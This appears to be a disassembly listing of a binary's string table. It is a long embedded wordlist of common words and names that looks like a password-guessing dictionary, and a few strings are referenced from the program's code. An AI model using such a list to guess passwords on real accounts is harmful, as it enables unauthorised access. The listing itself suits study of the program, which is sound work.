aPaper		db 'paper',0            ; DATA XREF: ___:0042A3F0o
		align 4
aPapa		db 'papa',0             ; DATA XREF: ___:0042A3ECo
		align 4
aPamela		db 'pamela',0           ; DATA XREF: ___:0042A3E8o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: ___:0042A3E4o
		align 4
aPaint		db 'paint',0            ; DATA XREF: ___:0042A3E0o
		align 10h
aPainless	db 'painless',0         ; DATA XREF: ___:0042A3DCo
		align 4
aPacker		db 'packer',0           ; DATA XREF: ___:0042A3D8o
		align 4
aPackard	db 'packard',0          ; DATA XREF: ___:0042A3D4o
aPacific	db 'pacific',0          ; DATA XREF: ___:0042A3D0o
aOxford		db 'oxford',0           ; DATA XREF: ___:0042A3CCo
		align 4
aOutside	db 'outside',0          ; DATA XREF: ___:0042A3C8o
aOutput		db 'output',0           ; DATA XREF: ___:0042A3C4o
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: ___:0042A3C0o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: ___:0042A3BCo
		align 10h
aOsiris		db 'osiris',0           ; DATA XREF: ___:0042A3B8o
		align 4
aOscar		db 'oscar',0            ; DATA XREF: ___:0042A3B4o
		align 10h
aOrwell		db 'orwell',0           ; DATA XREF: ___:0042A3B0o
		align 4
aOrient		db 'orient',0           ; DATA XREF: ___:0042A3ACo
		align 10h
aOrca		db 'orca',0             ; DATA XREF: ___:0042A3A8o
		align 4
aOperator	db 'operator',0         ; DATA XREF: ___:0042A3A4o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: ___:0042A3A0o
		align 10h
aOpenlock	db 'openlock',0         ; DATA XREF: ___:0042A39Co
		align 4
aOpening	db 'opening',0          ; DATA XREF: ___:0042A398o
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aOmega		db 'omega',0            ; DATA XREF: ___:0042A390o
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: ___:0042A38Co
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: ___:0042A388o
		align 4
aOldage		db 'oldage',0           ; DATA XREF: ___:0042A384o
		align 10h
aOkay		db 'okay',0             ; DATA XREF: ___:0042A380o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:0042A37Co
		align 10h
aOcelot		db 'ocelot',0           ; DATA XREF: ___:0042A378o
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: ___:0042A374o
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: ___:0042A370o
		align 10h
aNyquist	db 'nyquist',0          ; DATA XREF: ___:0042A36Co
aNuts		db 'nuts',0             ; DATA XREF: ___:0042A368o
		align 10h
aNutritio	db 'nutritio',0         ; DATA XREF: ___:0042A364o
		align 4
aNumber		db 'number',0           ; DATA XREF: ___:0042A360o
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:0042A35Co
		align 4
aNukem		db 'nukem',0            ; DATA XREF: ___:0042A358o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: ___:0042A354o
		align 4
aNude		db 'nude',0             ; DATA XREF: ___:0042A350o
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: ___:0042A34Co
aNoxious	db 'noxious',0          ; DATA XREF: ___:0042A348o
aNovember	db 'november',0         ; DATA XREF: ___:0042A344o
		align 10h
aNovel		db 'novel',0            ; DATA XREF: ___:0042A340o
		align 4
aNova		db 'nova',0             ; DATA XREF: ___:0042A33Co
		align 10h
aNoth		db 'noth',0             ; DATA XREF: ___:0042A338o
		align 4
aNotes		db 'notes',0            ; DATA XREF: ___:0042A334o
		align 10h
aNoreen		db 'noreen',0           ; DATA XREF: ___:0042A330o
		align 4
aNode		db 'node',0             ; DATA XREF: ___:0042A32Co
		align 10h
aNobody		db 'nobody',0           ; DATA XREF: ___:0042A328o
		align 4
aNoble		db 'noble',0            ; DATA XREF: ___:0042A324o
		align 10h
aNnaacp		db 'nnaacp',0           ; DATA XREF: ___:0042A320o
		align 4
aNita		db 'nita',0             ; DATA XREF: ___:0042A31Co
		align 10h
aNintendo	db 'nintendo',0         ; DATA XREF: ___:0042A318o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: ___:0042A314o
		align 4
aNight		db 'night',0            ; DATA XREF: ___:0042A310o
		align 10h
aNicotine	db 'nicotine',0         ; DATA XREF: ___:0042A30Co
		align 4
aNicole		db 'nicole',0           ; DATA XREF: ___:0042A308o
		align 4
aNice		db 'nice',0             ; DATA XREF: ___:0042A304o
		align 4
aNext		db 'next',0             ; DATA XREF: ___:0042A300o
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: ___:0042A2FCo
aNewton		db 'newton',0           ; DATA XREF: ___:0042A2F8o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: ___:0042A2F4o
		align 10h
aNews		db 'news',0             ; DATA XREF: ___:0042A2F0o
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: ___:0042A2ECo
aNetwork_0	db 'network',0          ; DATA XREF: ___:0042A2E8o
aNetscape	db 'netscape',0         ; DATA XREF: ___:0042A2E4o
		align 4
aNess		db 'ness',0             ; DATA XREF: ___:0042A2E0o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: ___:0042A2DCo
aNepenthe	db 'nepenthe',0         ; DATA XREF: ___:0042A2D8o
		align 10h
aNavy		db 'navy',0             ; DATA XREF: ___:0042A2D4o
		align 4
aNasa		db 'nasa',0             ; DATA XREF: ___:0042A2D0o
		align 10h
aNapoleon	db 'napoleon',0         ; DATA XREF: ___:0042A2CCo
		align 4
aNancy		db 'nancy',0            ; DATA XREF: ___:0042A2C8o
		align 4
aName		db 'name',0             ; DATA XREF: ___:0042A2C4o
		align 4
aNagel		db 'nagel',0            ; DATA XREF: ___:0042A2C0o
		align 4
aMutant		db 'mutant',0           ; DATA XREF: ___:0042A2BCo
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: ___:0042A2B8o
aMsdos		db 'msdos',0            ; DATA XREF: ___:0042A2B4o
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: ___:0042A2B0o
		align 4
aMozart		db 'mozart',0           ; DATA XREF: ___:0042A2ACo
		align 4
aMovies		db 'movies',0           ; DATA XREF: ___:0042A2A8o
		align 4
aMovie		db 'movie',0            ; DATA XREF: ___:0042A2A4o
		align 4
aMove		db 'move',0             ; DATA XREF: ___:0042A2A0o
		align 4
aMouse		db 'mouse',0            ; DATA XREF: ___:0042A29Co
		align 4
aMountain	db 'mountain',0         ; DATA XREF: ___:0042A298o
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: ___:0042A294o
		align 10h
aMortgage	db 'mortgage',0         ; DATA XREF: ___:0042A290o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: ___:0042A28Co
		align 4
aMortal		db 'mortal',0           ; DATA XREF: ___:0042A288o
		align 10h
aMorris		db 'morris',0           ; DATA XREF: ___:0042A284o
		align 4
aMorley		db 'morley',0           ; DATA XREF: ___:0042A280o
		align 10h
aMore		db 'more',0             ; DATA XREF: ___:0042A27Co
		align 4
aMoose		db 'moose',0            ; DATA XREF: ___:0042A278o
		align 10h
aMoor		db 'moor',0             ; DATA XREF: ___:0042A274o
		align 4
aMoom		db 'moom',0             ; DATA XREF: ___:0042A270o
		align 10h
aMonica		db 'monica',0           ; DATA XREF: ___:0042A26Co
		align 4
aMonday		db 'monday',0           ; DATA XREF: ___:0042A268o
		align 10h
aMoguls		db 'moguls',0           ; DATA XREF: ___:0042A264o
		align 4
aMogul		db 'mogul',0            ; DATA XREF: ___:0042A260o
		align 10h
aModem		db 'modem',0            ; DATA XREF: ___:0042A25Co
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o ...
		align 10h
aMkii		db 'mkii',0             ; DATA XREF: ___:0042A254o
		align 4
aMission	db 'mission',0          ; DATA XREF: ___:0042A250o
aMisfit		db 'misfit',0           ; DATA XREF: ___:0042A24Co
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: ___:0042A248o
		align 10h
aMinimum	db 'minimum',0          ; DATA XREF: ___:0042A244o
aMine		db 'mine',0             ; DATA XREF: ___:0042A240o
		align 10h
aMike		db 'mike',0             ; DATA XREF: ___:0042A23Co
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: ___:0042A238o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: ___:0042A234o
		align 10h
aMicropro	db 'micropro',0         ; DATA XREF: ___:0042A230o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: ___:0042A22Co
		align 4
aMicro		db 'micro',0            ; DATA XREF: ___:0042A228o
		align 10h
aMickey		db 'mickey',0           ; DATA XREF: ___:0042A224o
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: ___:0042A220o
		align 4
aMichele	db 'michele',0          ; DATA XREF: ___:0042A21Co
aMichelan	db 'michelan',0         ; DATA XREF: ___:0042A218o
		align 4
aMichel		db 'michel',0           ; DATA XREF: ___:0042A214o
		align 10h
aMichael	db 'michael',0          ; DATA XREF: ___:0042A210o
aMice		db 'mice',0             ; DATA XREF: ___:0042A20Co
		align 10h
aMets		db 'mets',0             ; DATA XREF: ___:0042A208o
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: ___:0042A204o
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: ___:0042A200o
		align 10h
aMetal		db 'metal',0            ; DATA XREF: ___:0042A1FCo
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: ___:0042A1F8o
		align 10h
aMercury	db 'mercury',0          ; DATA XREF: ___:0042A1F4o
aMenu		db 'menu',0             ; DATA XREF: ___:0042A1F0o
		align 10h
aMenace		db 'menace',0           ; DATA XREF: ___:0042A1ECo
		align 4
aMemory		db 'memory',0           ; DATA XREF: ___:0042A1E8o
		align 10h
aMember		db 'member',0           ; DATA XREF: ___:0042A1E4o
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: ___:0042A1E0o
aMellon		db 'mellon',0           ; DATA XREF: ___:0042A1DCo
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: ___:0042A1D8o
aMegan		db 'megan',0            ; DATA XREF: ___:0042A1D4o
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: ___:0042A1D0o
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: ___:0042A1CCo
		align 10h
aMeagan		db 'meagan',0           ; DATA XREF: ___:0042A1C8o
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: ___:0042A1C4o
aMath		db 'math',0
		align 4
aMaster		db 'master',0
		align 10h
aMason		db 'mason',0
		align 4
aMary		db 'mary',0
		align 10h
aMarvin		db 'marvin',0
		align 4
aMarty		db 'marty',0
		align 10h
aMars		db 'mars',0
		align 4
aMarriage	db 'marriage',0
		align 4
aMarni		db 'marni',0
		align 4
aMarkus		db 'markus',0
		align 4
aMark		db 'mark',0             ; DATA XREF: ___:0042A198o
		align 4
aMarines	db 'marines',0          ; DATA XREF: ___:0042A194o
aMarijuan	db 'marijuan',0
		align 10h
aMarietta	db 'marietta',0
		align 4
aMariens	db 'mariens',0
aMaria		db 'maria',0
		align 4
aMarcy		db 'marcy',0
		align 4
aMarci		db 'marci',0
		align 4
aMara		db 'mara',0
		align 4
aManager	db 'manager',0
aMana		db 'mana',0
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: ___:0042A16Co
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: ___:0042A168o
aMaint		db 'maint',0
		align 4
aMail		db 'mail',0
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: ___:0042A15Co
		align 4
aMagic		db 'magic',0            ; DATA XREF: ___:0042A158o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: ___:0042A154o
		align 4
aMacro		db 'macro',0
		align 4
aMack		db 'mack',0
		align 4
aMacintos	db 'macintos',0
		align 4
aMachine	db 'machine',0
aLynne		db 'lynne',0
		align 4
aLynn		db 'lynn',0
		align 10h
aLust		db 'lust',0
		align 4
aLuke		db 'luke',0
		align 10h
aLude		db 'lude',0
		align 4
aLucy		db 'lucy',0
		align 10h
aLucus		db 'lucus',0
		align 4
aLuck		db 'luck',0
		align 10h
aLover		db 'lover',0
		align 4
aLovebug	db 'lovebug',0
aLouis		db 'louis',0
		align 4
aLoser		db 'loser',0
		align 10h
aLorraine	db 'lorraine',0
		align 4
aLorin		db 'lorin',0
		align 4
aLori		db 'lori',0
		align 4
aLore		db 'lore',0
		align 4
aLoose		db 'loose',0
		align 4
aLolopc		db 'lolopc',0
		align 4
aLois		db 'lois',0
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 4
aLoginwor	db 'loginwor',0
		align 10h
aLogic		db 'logic',0
		align 4
aLockword	db 'lockword',0
		align 4
aLockout	db 'lockout',0
aLock		db 'lock',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 4
aLive		db 'live',0
		align 4
aLiteratu	db 'literatu',0
		align 10h
aLisp		db 'lisp',0
		align 4
aLisa		db 'lisa',0
		align 10h
aLips		db 'lips',0
		align 4
aLion		db 'lion',0
		align 10h
aLink		db 'link',0
		align 4
aLinda		db 'linda',0
		align 10h
aLimited	db 'limited',0
aLimbaugh	db 'limbaugh',0
		align 4
aLima		db 'lima',0
		align 4
aLightsab	db 'lightsab',0
		align 4
aLight		db 'light',0
		align 10h
aLife		db 'life',0
		align 4
aLicker		db 'licker',0
		align 10h
aLick		db 'lick',0
		align 4
aLibrary	db 'library',0
aLiberal	db 'liberal',0
aLexluthe	db 'lexluthe',0
		align 4
aLewis		db 'lewis',0
		align 4
aLetmein	db 'letmein',0
aLeslie		db 'leslie',0
		align 4
aLesbian	db 'lesbian',0
aLeroy		db 'leroy',0            ; DATA XREF: ___:0042A07Co
		align 4
aLeland		db 'leland',0           ; DATA XREF: ___:0042A078o
		align 4
aLegal		db 'legal',0            ; DATA XREF: ___:0042A074o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: ___:0042A070o
		align 4
aLeft		db 'left',0             ; DATA XREF: ___:0042A06Co
		align 10h
aLebesgue	db 'lebesgue',0         ; DATA XREF: ___:0042A068o
		align 4
aLeah		db 'leah',0             ; DATA XREF: ___:0042A064o
		align 4
aLazer		db 'lazer',0            ; DATA XREF: ___:0042A060o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: ___:0042A05Co
aLava		db 'lava',0             ; DATA XREF: ___:0042A058o
		align 4
aLaura		db 'laura',0            ; DATA XREF: ___:0042A054o
		align 4
aLaser		db 'laser',0            ; DATA XREF: ___:0042A050o
		align 4
aLarry		db 'larry',0            ; DATA XREF: ___:0042A04Co
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: ___:0042A048o
		align 4
aLara		db 'lara',0             ; DATA XREF: ___:0042A044o
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: ___:0042A040o
		align 4
aLana		db 'lana',0             ; DATA XREF: ___:0042A03Co
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: ___:0042A038o
		align 10h
aLambda		db 'lambda',0           ; DATA XREF: ___:0042A034o
		align 4
aLakers		db 'lakers',0           ; DATA XREF: ___:0042A030o
		align 10h
aLadle		db 'ladle',0            ; DATA XREF: ___:0042A02Co
		align 4
aLadies		db 'ladies',0           ; DATA XREF: ___:0042A028o
		align 10h
aKristy		db 'kristy',0           ; DATA XREF: ___:0042A024o
		align 4
aKristine	db 'kristine',0         ; DATA XREF: ___:0042A020o
		align 4
aKristin	db 'kristin',0          ; DATA XREF: ___:0042A01Co
aKristie	db 'kristie',0          ; DATA XREF: ___:0042A018o
aKristi		db 'kristi',0           ; DATA XREF: ___:0042A014o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: ___:0042A010o
aKrista		db 'krista',0           ; DATA XREF: ___:0042A00Co
		align 4
aKnown		db 'known',0            ; DATA XREF: ___:0042A008o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: ___:0042A004o
		align 10h
aKnight		db 'knight',0           ; DATA XREF: ___:0042A000o
		align 4
aKnife		db 'knife',0            ; DATA XREF: ___:00429FFCo
		align 10h
aKlingon	db 'klingon',0          ; DATA XREF: ___:00429FF8o
aKitten		db 'kitten',0           ; DATA XREF: ___:00429FF4o
		align 10h
aKissmyas	db 'kissmyas',0         ; DATA XREF: ___:00429FF0o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: ___:00429FECo
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: ___:00429FE8o
		align 10h
aKirk		db 'kirk',0             ; DATA XREF: ___:00429FE4o
		align 4
aKing		db 'king',0             ; DATA XREF: ___:00429FE0o
		align 10h
aKimberly	db 'kimberly',0         ; DATA XREF: ___:00429FDCo
		align 4
aKilo		db 'kilo',0             ; DATA XREF: ___:00429FD8o
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: ___:00429FD4o
		align 10h
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
					; ___:00429FD0o
		align 4
aKids		db 'kids',0             ; DATA XREF: ___:00429FCCo
		align 10h
aKeyword	db 'keyword',0          ; DATA XREF: ___:00429FC8o
aKeyin		db 'keyin',0            ; DATA XREF: ___:00429FC4o
		align 10h
aKeybord	db 'keybord',0          ; DATA XREF: ___:00429FC0o
aKewl		db 'kewl',0             ; DATA XREF: ___:00429FBCo
		align 10h
aKevin		db 'kevin',0            ; DATA XREF: ___:00429FB8o
		align 4
aKerry		db 'kerry',0            ; DATA XREF: ___:00429FB4o
		align 10h
aKerrie		db 'kerrie',0           ; DATA XREF: ___:00429FB0o
		align 4
aKerri		db 'kerri',0            ; DATA XREF: ___:00429FACo
		align 10h
aKernel		db 'kernel',0           ; DATA XREF: ___:00429FA8o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00429FA4o
		align 10h
aKeri		db 'keri',0             ; DATA XREF: ___:00429FA0o
		align 4
aKelly		db 'kelly',0            ; DATA XREF: ___:00429F9Co
		align 10h
aKatrina	db 'katrina',0          ; DATA XREF: ___:00429F98o
aKatina		db 'katina',0           ; DATA XREF: ___:00429F94o
		align 10h
aKathy		db 'kathy',0            ; DATA XREF: ___:00429F90o
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: ___:00429F8Co
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: ___:00429F88o
		align 10h
aKate		db 'kate',0             ; DATA XREF: ___:00429F84o
		align 4
aKatana		db 'katana',0           ; DATA XREF: ___:00429F80o
		align 10h
aKarina		db 'karina',0           ; DATA XREF: ___:00429F7Co
		align 4
aKarie		db 'karie',0            ; DATA XREF: ___:00429F78o
		align 10h
aKaren		db 'karen',0            ; DATA XREF: ___:00429F74o
		align 4
aKaka		db 'kaka',0             ; DATA XREF: ___:00429F70o
		align 10h
aJupiter	db 'jupiter',0          ; DATA XREF: ___:00429F6Co
aJune		db 'june',0             ; DATA XREF: ___:00429F68o
		align 10h
aJuliet		db 'juliet',0           ; DATA XREF: ___:00429F64o
		align 4
aJulie		db 'julie',0            ; DATA XREF: ___:00429F60o
		align 10h
aJulia		db 'julia',0            ; DATA XREF: ___:00429F5Co
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: ___:00429F58o
		align 10h
aJuggle		db 'juggle',0           ; DATA XREF: ___:00429F54o
		align 4
aJudy		db 'judy',0             ; DATA XREF: ___:00429F50o
		align 10h
aJudith		db 'judith',0           ; DATA XREF: ___:00429F4Co
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: ___:00429F48o
		align 10h
aJournal	db 'journal',0          ; DATA XREF: ___:00429F44o
aJoshua		db 'joshua',0           ; DATA XREF: ___:00429F40o
		align 10h
aJoseph		db 'joseph',0           ; DATA XREF: ___:00429F3Co
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: ___:00429F38o
		align 10h
aJohndoe	db 'johndoe',0          ; DATA XREF: ___:00429F34o
aJohn		db 'john',0             ; DATA XREF: ___:00429F30o
		align 10h
aJody		db 'jody',0             ; DATA XREF: ___:00429F2Co
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: ___:00429F28o
		align 10h
aJixian		db 'jixian',0           ; DATA XREF: ___:00429F24o
		align 4
aJill		db 'jill',0             ; DATA XREF: ___:00429F20o
		align 10h
aJewelry	db 'jewelry',0          ; DATA XREF: ___:00429F1Co
aJester		db 'jester',0           ; DATA XREF: ___:00429F18o
		align 10h
aJessica	db 'jessica',0          ; DATA XREF: ___:00429F14o
aJerusale	db 'jerusale',0         ; DATA XREF: ___:00429F10o
		align 4
aJerry		db 'jerry',0            ; DATA XREF: ___:00429F0Co
		align 4
aJenny		db 'jenny',0            ; DATA XREF: ___:00429F08o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: ___:00429F04o
		align 10h
aJenni		db 'jenni',0            ; DATA XREF: ___:00429F00o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: ___:00429EFCo
		align 10h
aJeanne		db 'jeanne',0           ; DATA XREF: ___:00429EF8o
		align 4
aJean		db 'jean',0             ; DATA XREF: ___:00429EF4o
		align 10h
aJazz		db 'jazz',0             ; DATA XREF: ___:00429EF0o
		align 4
aJava		db 'java',0             ; DATA XREF: ___:00429EECo
		align 10h
aJasmin		db 'jasmin',0           ; DATA XREF: ___:00429EE8o
		align 4
aJapan		db 'japan',0            ; DATA XREF: ___:00429EE4o
		align 10h
aJanie		db 'janie',0            ; DATA XREF: ___:00429EE0o
		align 4
aJanice		db 'janice',0           ; DATA XREF: ___:00429EDCo
		align 10h
aJanet		db 'janet',0            ; DATA XREF: ___:00429ED8o
		align 4
aJane		db 'jane',0             ; DATA XREF: ___:00429ED4o
		align 10h
aJail		db 'jail',0             ; DATA XREF: ___:00429ED0o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: ___:00429ECCo
		align 10h
aIsis		db 'isis',0             ; DATA XREF: ___:00429EC8o
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: ___:00429EC4o
		align 4
aIrene		db 'irene',0            ; DATA XREF: ___:00429EC0o
		align 4
aInvent		db 'invent',0           ; DATA XREF: ___:00429EBCo
		align 4
aInteger	db 'integer',0          ; DATA XREF: ___:00429EB8o
aInside		db 'inside',0           ; DATA XREF: ___:00429EB4o
		align 4
aInput		db 'input',0            ; DATA XREF: ___:00429EB0o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: ___:00429EACo
		align 4
aInna		db 'inna',0             ; DATA XREF: ___:00429EA8o
		align 10h
aIngrid		db 'ingrid',0           ; DATA XREF: ___:00429EA4o
		align 4
aIngress	db 'ingress',0          ; DATA XREF: ___:00429EA0o
aIngres		db 'ingres',0           ; DATA XREF: ___:00429E9Co
		align 4
aIndians	db 'indians',0          ; DATA XREF: ___:00429E98o
aIndiana	db 'indiana',0          ; DATA XREF: ___:00429E94o
aIndian		db 'indian',0           ; DATA XREF: ___:00429E90o
		align 10h
aIndia		db 'india',0            ; DATA XREF: ___:00429E8Co
		align 4
aInclude	db 'include',0          ; DATA XREF: ___:00429E88o
aImperial	db 'imperial',0         ; DATA XREF: ___:00429E84o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: ___:00429E80o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: ___:00429E7Co
		align 4
aImage		db 'image',0            ; DATA XREF: ___:00429E78o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: ___:00429E74o
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: ___:00429E70o
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: ___:00429E6Co
		align 10h
aHyper		db 'hyper',0            ; DATA XREF: ___:00429E68o
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: ___:00429E64o
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: ___:00429E60o
		align 10h
aHunter		db 'hunter',0           ; DATA XREF: ___:00429E5Co
		align 4
aHunt		db 'hunt',0             ; DATA XREF: ___:00429E58o
		align 10h
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
					; ___:00429E54o
		align 4
aHotel		db 'hotel',0            ; DATA XREF: ___:00429E50o
		align 10h
aHotdog		db 'hotdog',0           ; DATA XREF: ___:00429E4Co
		align 4
aHost		db 'host',0             ; DATA XREF: ___:00429E48o
		align 10h
aHorus		db 'horus',0            ; DATA XREF: ___:00429E44o
		align 4
aHorse		db 'horse',0            ; DATA XREF: ___:00429E40o
		align 10h
aHorror		db 'horror',0           ; DATA XREF: ___:00429E3Co
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: ___:00429E38o
		align 4
aHorny		db 'horny',0            ; DATA XREF: ___:00429E34o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: ___:00429E30o
aHooker		db 'hooker',0           ; DATA XREF: ___:00429E2Co
		align 4
aHoney		db 'honey',0            ; DATA XREF: ___:00429E28o
		align 4
aHomework	db 'homework',0         ; DATA XREF: ___:00429E24o
		align 10h
aHomer		db 'homer',0            ; DATA XREF: ___:00429E20o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: ___:00429E1Co
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: ___:00429E18o
		align 10h
aHolly		db 'holly',0            ; DATA XREF: ___:00429E14o
		align 4
aHole		db 'hole',0             ; DATA XREF: ___:00429E10o
		align 10h
aHits		db 'hits',0             ; DATA XREF: ___:00429E0Co
		align 4
aHitler		db 'hitler',0           ; DATA XREF: ___:00429E08o
		align 10h
aHighland	db 'highland',0         ; DATA XREF: ___:00429E04o
		align 4
aHigh		db 'high',0             ; DATA XREF: ___:00429E00o
		align 4
aHidden		db 'hidden',0           ; DATA XREF: ___:00429DFCo
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: ___:00429DF8o
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: ___:00429DF4o
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: ___:00429DF0o
		align 10h
aHewlett	db 'hewlett',0          ; DATA XREF: ___:00429DECo
aHeroin		db 'heroin',0           ; DATA XREF: ___:00429DE8o
		align 10h
aHero		db 'hero',0             ; DATA XREF: ___:00429DE4o
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: ___:00429DE0o
aHerb		db 'herb',0             ; DATA XREF: ___:00429DDCo
		align 4
aHelp		db 'help',0             ; DATA XREF: ___:00429DD8o
		align 10h
aHello		db 'hello',0            ; DATA XREF: ___:00429DD4o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:00429DD0o
		align 10h
aHeinlein	db 'heinlein',0         ; DATA XREF: ___:00429DCCo
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: ___:00429DC8o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: ___:00429DC4o
		align 10h
aHeather	db 'heather',0          ; DATA XREF: ___:00429DC0o
aHeathen	db 'heathen',0          ; DATA XREF: ___:00429DBCo
aHeat		db 'heat',0             ; DATA XREF: ___:00429DB8o
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: ___:00429DB4o
		align 4
aHead		db 'head',0             ; DATA XREF: ___:00429DB0o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: ___:00429DACo
		align 4
aHaven		db 'haven',0            ; DATA XREF: ___:00429DA8o
		align 4
aHate		db 'hate',0             ; DATA XREF: ___:00429DA4o
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: ___:00429DA0o
		align 4
aHarold		db 'harold',0           ; DATA XREF: ___:00429D9Co
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: ___:00429D98o
aHarddriv	db 'harddriv',0         ; DATA XREF: ___:00429D94o
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: ___:00429D90o
		align 4
aHard		db 'hard',0             ; DATA XREF: ___:00429D8Co
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: ___:00429D88o
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: ___:00429D84o
aHandily	db 'handily',0          ; DATA XREF: ___:00429D80o
aHandel		db 'handel',0           ; DATA XREF: ___:00429D7Co
		align 10h
aHamster	db 'hamster',0          ; DATA XREF: ___:00429D78o
aHamlet		db 'hamlet',0           ; DATA XREF: ___:00429D74o
		align 10h
aHallowee	db 'hallowee',0         ; DATA XREF: ___:00429D70o
		align 4
aHair		db 'hair',0             ; DATA XREF: ___:00429D6Co
		align 4
aHagar		db 'hagar',0            ; DATA XREF: ___:00429D68o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: ___:00429D64o
		align 4
aHack		db 'hack',0             ; DATA XREF: ___:00429D60o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: ___:00429D5Co
		align 4
aGumption	db 'gumption',0         ; DATA XREF: ___:00429D58o
		align 10h
aGuitar		db 'guitar',0           ; DATA XREF: ___:00429D54o
		align 4
aGuess		db 'guess',0            ; DATA XREF: ___:00429D50o
		align 10h
aGucci		db 'gucci',0            ; DATA XREF: ___:00429D4Co
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: ___:00429D48o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: ___:00429D44o
aGroup		db 'group',0            ; DATA XREF: ___:00429D40o
		align 4
aGreen		db 'green',0            ; DATA XREF: ___:00429D3Co
		align 4
aGreat		db 'great',0            ; DATA XREF: ___:00429D38o
		align 4
aGrant		db 'grant',0            ; DATA XREF: ___:00429D34o
		align 4
aGrand		db 'grand',0            ; DATA XREF: ___:00429D30o
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: ___:00429D2Co
		align 4
aGraham		db 'graham',0           ; DATA XREF: ___:00429D28o
		align 4
aGrades		db 'grades',0           ; DATA XREF: ___:00429D24o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: ___:00429D20o
		align 4
